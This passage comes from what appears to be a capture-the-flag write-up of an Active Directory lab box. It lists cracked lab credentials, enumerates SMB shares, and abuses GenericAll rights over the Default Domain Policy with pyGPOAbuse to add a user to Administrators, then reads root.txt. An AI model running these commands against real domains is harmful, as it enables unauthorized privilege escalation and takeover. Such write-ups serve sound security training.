(signing:True) (SMBv1:False) LDAP 10.1.8.223 389 DC01 [+] SYSCO.LOCAL\\greg.shields:5y5coSmarter2025!!! ``` ![greg-shields-password.png](/files/RWqb5jVNb3lop7ce7dJd) ### New Current Creds ```bash greg.shields:5y5coSmarter2025!!! lainey.moore:Chocolate1 jack.dowland:musicman1 ``` He still can’t do anything on the shares though ```bash ╭─ T2T SECURITY   ~/hsm/sysco   2 ✘  10.200.33.15   at 05:22:28 PM  ╰─ nxc smb sysco.local -u greg.shields -p '5y5coSmarter2025!!!' --shares SMB 10.1.8.223 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False) SMB 10.1.8.223 445 DC01 [+] SYSCO.LOCAL\\greg.shields:5y5coSmarter2025!!! SMB 10.1.8.223 445 DC01 [*] Enumerated shares SMB 10.1.8.223 445 DC01 Share Permissions Remark SMB 10.1.8.223 445 DC01 ----- ----------- ------ SMB 10.1.8.223 445 DC01 ADMIN$ Remote Admin SMB 10.1.8.223 445 DC01 C$ Default share SMB 10.1.8.223 445 DC01 IPC$ READ Remote IPC SMB 10.1.8.223 445 DC01 NETLOGON READ Logon server share SMB 10.1.8.223 445 DC01 SYSVOL READ Logon server share ``` Since I know that greg can modify the default domain policy after some bloodhound enumeration ![default-domain-policy.png](/files/Lu5tqfAMKSoVX8UwkGf8) ![greg-shields-generic-all-default-domain-policy-abuse.png](/files/oZVv1aOHTuuptWjLM6wO) I initially tried to get it to work in the evil-winrm session I had, however, bloodhound recommended I do this in Linux instead: ```bash ╭─ T2T SECURITY   /opt/pyGPOAbuse  on   master   1 ✘  pygpo-venv   10.200.33.15   at 09:34:22 PM  ╰─ python3 pygpoabuse.py 'SYSCO.LOCAL'/'greg.shields':'5y5coSmarter2025!!!' -gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' -command 'net localgroup Administrators greg.shields /add' ``` > It should be noted that you need to grab the GPO id from either other enumeration in the evil-winrm session I have, Powerview (I’m assuming I could RDP into the session if I really wanted to), or through bloodhound like I did in the first screenshot. [GitHub - Hackndo/pyGPOAbuse: Partial python implementation of SharpGPOAbuse](https://github.com/Hackndo/pyGPOAbuse) Now we force the update of the GPO policy instead of waiting for 4 hours.. ```bash *Evil-WinRM* PS C:\\Users\\greg.shields\\Documents> gpupdate /force Updating policy... Computer Policy update has completed successfully. User Policy update has completed successfully. *Evil-WinRM* PS C:\\Users\\greg.shields\\Documents> ``` I noted that my privs hadn’t changed, but I’m assuming that’s because I need to log out and back in for it to take effect? ```bash *Evil-WinRM* PS C:\\Users\\greg.shields\\Documents> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\\Users\\greg.shields\\Documents> ``` Eeeeyup ```bash *Evil-WinRM* PS C:\\Users\\greg.shields\\Documents> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ========================================= ================================================================== ======= SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeMachineAccountPrivilege Add workstations to domain Enabled SeSecurityPrivilege Manage auditing and security log Enabled SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeSystemProfilePrivilege Profile system performance Enabled SeSystemtimePrivilege Change the system time Enabled SeProfileSingleProcessPrivilege Profile single process Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeCreatePagefilePrivilege Create a pagefile Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled SeUndockPrivilege Remove computer from docking station Enabled SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled SeManageVolumePrivilege Perform volume maintenance tasks Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled SeCreateSymbolicLinkPrivilege Create symbolic links Enabled SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled ``` ## Root.txt ```bash *Evil-WinRM* PS C:\\Users\\greg.shields\\Documents> type C:\\Users\\Administrator\\Desktop\\root.txt e7f850e7c14aeae7ecbb900fb6afbba1 *Evil-WinRM* PS C:\\Users\\greg.shields\\Documents> ```